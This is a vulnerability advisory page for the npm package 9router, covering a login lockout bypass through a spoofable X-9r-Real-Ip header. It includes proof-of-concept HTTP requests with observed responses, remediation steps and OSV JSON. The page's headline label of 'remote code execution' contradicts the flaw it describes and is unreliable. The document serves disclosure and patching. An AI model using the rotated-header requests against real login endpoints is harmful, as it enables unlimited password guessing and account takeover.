CVE-2026-56682: 9router Remote Code Execution Vulnerability

MODERATE
Advisory Identifier: GHSA-32gc-64m7-hj7v
CVSS 5.3
CWE-307 CWE-807
Published
Advisory Summary

CVE-2026-56682 is a MODERATE (CVSS 5.3) remote code execution vulnerability (CWE-307: Improper Restriction of Excessive Authentication Attempts) affecting 9router libraries in the npm ecosystem. The issue involves 9router has a login brute-force lockout bypass via spoofable x-9r-real-ip header. Remediation is available by upgrading affected packages to version 0.5.8.

CVE-2026-56682 at a Glance

CVE Identifier CVE-2026-56682
GHSA Identifier GHSA-32gc-64m7-hj7v
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-307: Improper Restriction of Excessive Authentication Attempts
Affected Product 9router
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-56682

To remediate this vulnerability, upgrade all affected 9router dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

9router fixed: 0.5.8
npm install 9router@0.5.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls 9router

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-56682, inspect your project dependencies using npm:

npm ls 9router

Analyze the terminal output to locate any version of 9router in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.5.8), your application is affected.

Note: The npm ls 9router command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-307: Improper Restriction of Excessive Authentication Attempts, where the product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame. In 9router, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Summary 9router enforces a progressive login lockout (5 failed attempts → temporary 30s+ lock) keyed on the client IP. The client IP used for this limiter is taken from the X-9r-Real-Ip request header, which is intended to be set only by the bundled custom-server.js layer from the unspoofable TCP socket address. In deployment modes where requests reach Next.js directly, a remote attacker controls this header and can assign a unique value to every request. Because each distinct header value maps to a fresh limiter bucket, the lockout never triggers, enabling unlimited password guessing against the dashboard login endpoint. This was reproduced against a live instance: a fixed header value was locked out (429) after 5 attempts, while rotating the header produced unlimited 401 responses with no lockout. # Affected Component - `src/lib/auth/loginLimiter.js` - `getClientIp()` — derives the rate-limit bucket key from the client-supplied `X-9r-Real-Ip` header - `checkLock()` / `recordFail()` — per-IP progressive lockout (`MAX_FAILS_BEFORE_LOCK = 5`) - `src/app/api/auth/login/route.js` — login endpoint protected by the above limiter # Root Cause The brute-force protection partitions failed-attempt counters by client IP, but obtains that IP from a client-controllable HTTP header rather than from the transport layer. `getClientIp()` returns the value of `X-9r-Real-Ip` directly. The design assumes this header is produced and sanitized only by the trusted `custom-server.js` wrapper. When the application is served without that wrapper, the header passes through unmodified, so the attacker chooses the bucket key. Since the lockout is per-bucket, assigning a new value per request keeps every counter below the threshold: ```text Untrusted Client Input ↓ X-9r-Real-Ip: <attacker-chosen, rotated each request> ↓ getClientIp() → distinct bucket per request ↓ recordFail()/checkLock() → threshold (5) never reached ↓ unlimited 401 attempts, no 429 lockout ``` # Attack Scenario 1. The instance is deployed in a mode that does not use `custom-server.js`, and the login endpoint is reachable by the attacker (the default bind is `0.0.0.0`). 2. The attacker submits password guesses to `POST /api/auth/login`, setting a different `X-9r-Real-Ip` value on each request (e.g., `10.0.0.1`, `10.0.0.2`, ...). 3. Each request is counted against a new bucket, so the limiter always reports remaining attempts and never returns `429`. 4. The attacker continues guessing without throttling until the dashboard password is recovered, yielding an authenticated admin session. # Proof of Concept ## Baseline — fixed header value (lockout enforced) Repeated `POST /api/auth/login` with a constant `X-9r-Real-Ip: 9.9.9.9` and body `{"password":"wrong"}`: ```http POST /api/auth/login HTTP/1.1 Host: victim.example.com:20127 X-9r-Real-Ip: 9.9.9.9 Content-Type: application/json Content-Length: 20 Connection: close {"password":"wrong"} ``` Observed responses (sequential): ```text #1 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4} #2 → 401 {"error":"Invalid password. 3 attempt(s) left before lockout.","remainingBeforeLock":3} #3 → 401 {"error":"Invalid password. 2 attempt(s) left before lockout.","remainingBeforeLock":2} #4 → 401 {"error":"Invalid password. 1 attempt(s) left before lockout.","remainingBeforeLock":1} #5 → 429 Retry-After: 30 {"error":"Too many failed attempts. Try again in 30s. ...","retryAfter":30} ``` ## Exploit — rotated header value (lockout bypassed) Same request and body, but a different `X-9r-Real-Ip` per request, sent while `9.9.9.9` was already locked: ```http POST /api/auth/login HTTP/1.1 Host: victim.example.com:20127 X-9r-Real-Ip: 10.0.0.1 Content-Type: application/json Content-Length: 20 Connection: close {"password":"wrong"} ``` Observed responses: ```text X-9r-Real-Ip: 10.0.0.1 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4} X-9r-Real-Ip: 10.0.0.2 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4} X-9r-Real-Ip: 10.0.0.3 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4} ``` <img width="1211" height="814" alt="Screenshot 2026-06-19 183338" src="https://github.com/user-attachments/assets/07e37cf3-1860-4a06-8b27-97a5f6b9be64" /> <img width="1208" height="816" alt="Screenshot 2026-06-19 183408" src="https://github.com/user-attachments/assets/27021c5c-cb29-4649-887e-8de46f4c6e1c" /> Every rotated value resets to `"4 attempt(s) left"` and never returns `429`, demonstrating unbounded guessing. # Impact The login brute-force/credential-stuffing protection can be fully neutralized by a remote, unauthenticated attacker. This permits unlimited password guessing against the dashboard login endpoint, materially increasing the likelihood of account compromise. A recovered password yields an authenticated administrative session over the 9router dashboard and its protected APIs. The bypass is especially impactful given the default network bind (`0.0.0.0`) and the existence of a default dashboard password, both of which lower the effort required to succeed. # Remediation - Do not derive the rate-limit key from a client-controllable header. Base `getClientIp()` on the transport-level peer address (`req.socket.remoteAddress`) for the limiter bucket. - Only honor forwarded client-IP headers when they originate from explicitly trusted, configured proxy infrastructure. - If `custom-server.js` is required for the security model, fail closed when its trusted marker is absent, and strip/reject any inbound client-supplied `X-9r-*` headers at the edge before they reach the limiter. - Consider a global (non-bucketed) attempt ceiling and exponential backoff as defense-in-depth so that header manipulation cannot reset all counters.

CVE-2026-56682 Affected 9router Versions

1 component(s)
Fixed Versions:
0.5.8
Product / Package Ecosystem Affected Versions Fixed Version
9router
npm
< 0.5.8
0.5.8

References

Frequently Asked Questions

What is CVE-2026-56682?
CVE-2026-56682 is a security vulnerability in 9router involving 9Router has a Login Brute-Force Lockout Bypass via Spoofable X-9r-Real-Ip Header under CWE-307: Improper Restriction of Excessive Authentication Attempts.
Which 9router versions are affected?
Affected versions include releases prior to 0.5.8 across affected packages: 9router.
What version fixes CVE-2026-56682?
Upgrading to 0.5.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is 9router affected?
Yes, 9router is affected in releases prior to 0.5.8. Upgrade your dependency to 0.5.8 or later.
What is the CVSS score of CVE-2026-56682?
CVE-2026-56682 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with CVE-2026-56682?
CVE-2026-56682 is classified under CWE-307: Improper Restriction of Excessive Authentication Attempts (The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame.).
How can I check npm dependencies for CVE-2026-56682?
Run the dependency tree command: 'npm ls 9router'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-32gc-64m7-hj7v",
  "modified" : "2026-09-22T16:34:18Z",
  "published" : "2026-09-22T16:34:18Z",
  "aliases" : [ "CVE-2026-56682" ],
  "summary" : "9Router has a Login Brute-Force Lockout Bypass via Spoofable X-9r-Real-Ip Header",
  "details" : "# Summary\n\n9router enforces a progressive login lockout (5 failed attempts → temporary 30s+ lock) keyed on the client IP. The client IP used for this limiter is taken from the X-9r-Real-Ip request header, which is intended to be set only by the bundled custom-server.js layer from the unspoofable TCP socket address. In deployment modes where requests reach Next.js directly, a remote attacker controls this header and can assign a unique value to every request. Because each distinct header value maps to a fresh limiter bucket, the lockout never triggers, enabling unlimited password guessing against the dashboard login endpoint. This was reproduced against a live instance: a fixed header value was locked out (429) after 5 attempts, while rotating the header produced unlimited 401 responses with no lockout.\n\n# Affected Component\n\n- `src/lib/auth/loginLimiter.js`\n  - `getClientIp()` — derives the rate-limit bucket key from the client-supplied `X-9r-Real-Ip` header\n  - `checkLock()` / `recordFail()` — per-IP progressive lockout (`MAX_FAILS_BEFORE_LOCK = 5`)\n- `src/app/api/auth/login/route.js` — login endpoint protected by the above limiter\n\n# Root Cause\n\nThe brute-force protection partitions failed-attempt counters by client IP, but obtains that IP from a client-controllable HTTP header rather than from the transport layer. `getClientIp()` returns the value of `X-9r-Real-Ip` directly. The design assumes this header is produced and sanitized only by the trusted `custom-server.js` wrapper. When the application is served without that wrapper, the header passes through unmodified, so the attacker chooses the bucket key. Since the lockout is per-bucket, assigning a new value per request keeps every counter below the threshold:\n\n```text\nUntrusted Client Input\n        ↓\nX-9r-Real-Ip: <attacker-chosen, rotated each request>\n        ↓\ngetClientIp()  → distinct bucket per request\n        ↓\nrecordFail()/checkLock()  → threshold (5) never reached\n        ↓\nunlimited 401 attempts, no 429 lockout\n```\n\n# Attack Scenario\n\n1. The instance is deployed in a mode that does not use `custom-server.js`, and the login endpoint is reachable by the attacker (the default bind is `0.0.0.0`).\n\n2. The attacker submits password guesses to `POST /api/auth/login`, setting a different `X-9r-Real-Ip` value on each request (e.g., `10.0.0.1`, `10.0.0.2`, ...).\n\n3. Each request is counted against a new bucket, so the limiter always reports remaining attempts and never returns `429`.\n\n4. The attacker continues guessing without throttling until the dashboard password is recovered, yielding an authenticated admin session.\n\n# Proof of Concept\n\n## Baseline — fixed header value (lockout enforced)\n\nRepeated `POST /api/auth/login` with a constant `X-9r-Real-Ip: 9.9.9.9` and body `{\"password\":\"wrong\"}`:\n\n```http\nPOST /api/auth/login HTTP/1.1\nHost: victim.example.com:20127\nX-9r-Real-Ip: 9.9.9.9\nContent-Type: application/json\nContent-Length: 20\nConnection: close\n\n{\"password\":\"wrong\"}\n```\n\nObserved responses (sequential):\n\n```text\n#1 → 401  {\"error\":\"Invalid password. 4 attempt(s) left before lockout.\",\"remainingBeforeLock\":4}\n\n#2 → 401  {\"error\":\"Invalid password. 3 attempt(s) left before lockout.\",\"remainingBeforeLock\":3}\n\n#3 → 401  {\"error\":\"Invalid password. 2 attempt(s) left before lockout.\",\"remainingBeforeLock\":2}\n\n#4 → 401  {\"error\":\"Invalid password. 1 attempt(s) left before lockout.\",\"remainingBeforeLock\":1}\n\n#5 → 429  Retry-After: 30\n          {\"error\":\"Too many failed attempts. Try again in 30s. ...\",\"retryAfter\":30}\n```\n\n## Exploit — rotated header value (lockout bypassed)\n\nSame request and body, but a different `X-9r-Real-Ip` per request, sent while `9.9.9.9` was already locked:\n\n```http\nPOST /api/auth/login HTTP/1.1\nHost: victim.example.com:20127\nX-9r-Real-Ip: 10.0.0.1\nContent-Type: application/json\nContent-Length: 20\nConnection: close\n\n{\"password\":\"wrong\"}\n```\n\nObserved responses:\n\n```text\nX-9r-Real-Ip: 10.0.0.1 → 401  {\"error\":\"Invalid password. 4 attempt(s) left before lockout.\",\"remainingBeforeLock\":4}\n\nX-9r-Real-Ip: 10.0.0.2 → 401  {\"error\":\"Invalid password. 4 attempt(s) left before lockout.\",\"remainingBeforeLock\":4}\n\nX-9r-Real-Ip: 10.0.0.3 → 401  {\"error\":\"Invalid password. 4 attempt(s) left before lockout.\",\"remainingBeforeLock\":4}\n```\n<img width=\"1211\" height=\"814\" alt=\"Screenshot 2026-06-19 183338\" src=\"https://github.com/user-attachments/assets/07e37cf3-1860-4a06-8b27-97a5f6b9be64\" />\n<img width=\"1208\" height=\"816\" alt=\"Screenshot 2026-06-19 183408\" src=\"https://github.com/user-attachments/assets/27021c5c-cb29-4649-887e-8de46f4c6e1c\" />\n\nEvery rotated value resets to `\"4 attempt(s) left\"` and never returns `429`, demonstrating unbounded guessing.\n# Impact\n\nThe login brute-force/credential-stuffing protection can be fully neutralized by a remote, unauthenticated attacker. This permits unlimited password guessing against the dashboard login endpoint, materially increasing the likelihood of account compromise. A recovered password yields an authenticated administrative session over the 9router dashboard and its protected APIs. The bypass is especially impactful given the default network bind (`0.0.0.0`) and the existence of a default dashboard password, both of which lower the effort required to succeed.\n\n# Remediation\n\n- Do not derive the rate-limit key from a client-controllable header. Base `getClientIp()` on the transport-level peer address (`req.socket.remoteAddress`) for the limiter bucket.\n- Only honor forwarded client-IP headers when they originate from explicitly trusted, configured proxy infrastructure.\n- If `custom-server.js` is required for the security model, fail closed when its trusted marker is absent, and strip/reject any inbound client-supplied `X-9r-*` headers at the edge before they reach the limiter.\n- Consider a global (non-bucketed) attempt ceiling and exponential backoff as defense-in-depth so that header manipulation cannot reset all counters.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "9router"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.5.8"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.5.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/decolua/9router/security/advisories/GHSA-32gc-64m7-hj7v"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/decolua/9router/commit/efd20be8d81ef2e256a7037f3aa78e6b567b5fd3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/decolua/9router"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/decolua/9router/releases/tag/v0.5.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-307", "CWE-807" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-22T16:34:18Z",
    "nvd_published_at" : null
  }
}